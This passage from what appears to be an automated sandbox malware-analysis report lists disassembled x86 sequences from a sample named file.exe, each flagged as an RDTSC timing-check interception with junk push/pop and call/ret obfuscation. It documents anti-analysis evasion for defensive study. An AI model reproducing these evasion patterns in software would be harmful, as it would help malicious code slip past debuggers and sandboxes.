ebx 0x00000048 mov dword ptr [esp+04h], ebx 0x0000004c add dword ptr [esp+04h], 0000001Dh 0x00000054 inc ebx 0x00000055 push ebx 0x00000056 ret 0x00000057 pop ebx 0x00000058 ret 0x00000059 adc bh, 00000061h 0x0000005c push FFFFFFFFh 0x0000005e adc di, 8A48h 0x00000063 push eax 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 je 00007F9DB10DC5B6h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BAD second address: 6C8BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C6EDA second address: 6C6EDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BB1 second address: 6C8BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C8BBA second address: 6C8BD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9DB10DC5B6h 0x0000000a jmp 00007F9DB10DC5C2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AC25 second address: 66AC29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2837 second address: 6D283C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D283C second address: 6D284D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007F9DB0FF9A36h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D284D second address: 6D2851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2C95 second address: 6D2C99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2C99 second address: 6D2CC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F9DB10DC5B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9DB10DC5C8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D2CC1 second address: 6D2CDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BAF second address: 6D8BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BB5 second address: 6D8BC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BC1 second address: 6D8BD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5BDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BD6 second address: 6D8BDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BDA second address: 6D8BEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F9DB10DC5B8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BEF second address: 6D8BF4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8BF4 second address: 6D8BFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD519 second address: 6DD523 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9DB0FF9A3Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD523 second address: 6DD52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DD52D second address: 6DD533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDCDF second address: 6DDCEB instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DDEC9 second address: 6DDECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE17F second address: 6DE183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE183 second address: 6DE18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE18D second address: 6DE191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE191 second address: 6DE195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE195 second address: 6DE1BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9DB10DC5C7h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DE65A second address: 6DE677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push edi 0x00000007 push eax 0x00000008 jnp 00007F9DB0FF9A36h 0x0000000e jbe 00007F9DB0FF9A36h 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F9DB0FF9A36h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5398 second address: 6E53A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jp 00007F9DB10DC5B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E53A6 second address: 6E53AE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5AF8 second address: 6E5B15 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9DB10DC5B6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d pushad 0x0000000e pushad 0x0000000f jo 00007F9DB10DC5B6h 0x00000015 jnp 00007F9DB10DC5B6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5B15 second address: 6E5B23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnc 00007F9DB0FF9A36h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6102 second address: 6E610A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E610A second address: 6E6110 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EACBE second address: 6EACE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9DB10DC5C8h 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAE35 second address: 6EAE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9DB0FF9A36h 0x0000000a pop ebx 0x0000000b jmp 00007F9DB0FF9A3Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAFC5 second address: 6EAFCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAFCB second address: 6EAFCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EAFCF second address: 6EAFF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB10DC5C1h 0x00000007 jmp 00007F9DB10DC5BCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB30F second address: 6EB313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB313 second address: 6EB319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB720 second address: 6EB742 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Bh 0x00000007 jng 00007F9DB0FF9A36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edi 0x00000010 jmp 00007F9DB0FF9A3Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EB8A7 second address: 6EB8B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EBE3E second address: 6EBE44 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA768 second address: 6EA76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EA76F second address: 6EA78E instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9DB0FF9A51h 0x00000008 jmp 00007F9DB0FF9A45h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF1FA second address: 6EF204 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9DB10DC5B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6EF204 second address: 6EF218 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F9DB0FF9A42h 0x0000000c jbe 00007F9DB0FF9A36h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6AC9 second address: 6F6ACF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AC9A7 second address: 6ACA36 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F9DB0FF9A47h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007F9DB0FF9A38h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov edi, dword ptr [ebp+122D1CBCh] 0x00000031 lea eax, dword ptr [ebp+12491751h] 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007F9DB0FF9A38h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 0000001Dh 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 or dx, 3BF0h 0x00000056 push eax 0x00000057 pushad 0x00000058 push eax 0x00000059 push edx 0x0000005a push ecx 0x0000005b pop ecx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ACFB7 second address: 4EED02 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9DB10DC5BCh 0x00000008 jl 00007F9DB10DC5B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ebx 0x00000012 jng 00007F9DB10DC5B8h 0x00000018 pop ebx 0x00000019 nop 0x0000001a mov dh, cl 0x0000001c push dword ptr [ebp+122D08F5h] 0x00000022 jmp 00007F9DB10DC5C8h 0x00000027 call dword ptr [ebp+122D207Dh] 0x0000002d pushad 0x0000002e jne 00007F9DB10DC5B7h 0x00000034 xor eax, eax 0x00000036 jmp 00007F9DB10DC5C3h 0x0000003b mov edx, dword ptr [esp+28h] 0x0000003f xor dword ptr [ebp+122D1CE7h], edx 0x00000045 jc 00007F9DB10DC5BCh 0x0000004b sub dword ptr [ebp+122D1D58h], esi 0x00000051 mov dword ptr [ebp+122D3A95h], eax 0x00000057 cld 0x00000058 mov esi, 0000003Ch 0x0000005d pushad 0x0000005e jmp 00007F9DB10DC5C3h 0x00000063 cld 0x00000064 popad 0x00000065 pushad 0x00000066 jmp 00007F9DB10DC5C0h 0x0000006b mov esi, dword ptr [ebp+122D3ACDh] 0x00000071 popad 0x00000072 add esi, dword ptr [esp+24h] 0x00000076 jmp 00007F9DB10DC5BFh 0x0000007b lodsw 0x0000007d jmp 00007F9DB10DC5BFh 0x00000082 add eax, dword ptr [esp+24h] 0x00000086 mov dword ptr [ebp+122D1CE7h], edi 0x0000008c mov ebx, dword ptr [esp+24h] 0x00000090 mov dword ptr [ebp+122D1CE7h], esi 0x00000096 push eax 0x00000097 pushad 0x00000098 pushad 0x00000099 push eax 0x0000009a push edx 0x0000009b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD1CF second address: 6AD1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD1D8 second address: 6AD1DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD1DC second address: 6AD215 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], esi 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F9DB0FF9A38h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 0000001Dh 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 mov cx, bx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD215 second address: 6AD219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD219 second address: 6AD21F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD21F second address: 6AD224 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AD488 second address: 6AD49A instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F9DB0FF9A3Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADB3B second address: 6ADB48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADB48 second address: 6ADB56 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9DB0FF9A36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADCB1 second address: 6ADCB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADCB5 second address: 6ADCE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push ebx 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 pop edx 0x00000013 pop ebx 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9DB0FF9A41h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADD81 second address: 6ADD85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADD85 second address: 6ADE12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F9DB0FF9A44h 0x0000000f lea eax, dword ptr [ebp+12491795h] 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007F9DB0FF9A38h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 0000001Dh 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f jmp 00007F9DB0FF9A48h 0x00000034 mov ecx, dword ptr [ebp+122D38F9h] 0x0000003a nop 0x0000003b jno 00007F9DB0FF9A3Eh 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 ja 00007F9DB0FF9A36h 0x0000004b pushad 0x0000004c popad 0x0000004d popad 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADE12 second address: 6ADE5B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9DB10DC5C3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b movzx ecx, cx 0x0000000e lea eax, dword ptr [ebp+12491751h] 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007F9DB10DC5B8h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D22F6h], edx 0x00000034 nop 0x00000035 push esi 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADE5B second address: 6ADE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6ADE5F second address: 690FEA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9DB10DC5B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c jmp 00007F9DB10DC5BFh 0x00000011 nop 0x00000012 mov edx, edi 0x00000014 call dword ptr [ebp+122D28A0h] 0x0000001a pushad 0x0000001b jmp 00007F9DB10DC5C4h 0x00000020 pushad 0x00000021 jmp 00007F9DB10DC5BEh 0x00000026 pushad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F6F3A second address: 6F6F3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77BC second address: 6F77C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77C9 second address: 6F77CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F77CF second address: 6F77D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6FE688 second address: 6FE69A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jbe 00007F9DB0FF9A36h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700D3F second address: 700D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 700D43 second address: 700D59 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9DB0FF9A38h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d jnc 00007F9DB0FF9A36h 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 706312 second address: 706316 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709B5F second address: 709B67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709B67 second address: 709B6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709B6E second address: 709BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9DB0FF9A47h 0x00000007 pushad 0x00000008 jp 00007F9DB0FF9A36h 0x0000000e jmp 00007F9DB0FF9A49h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push edi 0x00000018 pushad 0x00000019 popad 0x0000001a pop edi 0x0000001b push edi 0x0000001c push ebx 0x0000001d pop ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709BB4 second address: 709BC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jmp 00007F9DB10DC5BAh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709D23 second address: 709D2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9DB0FF9A36h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709D2E second address: 709D33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 709D33 second address: 709D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
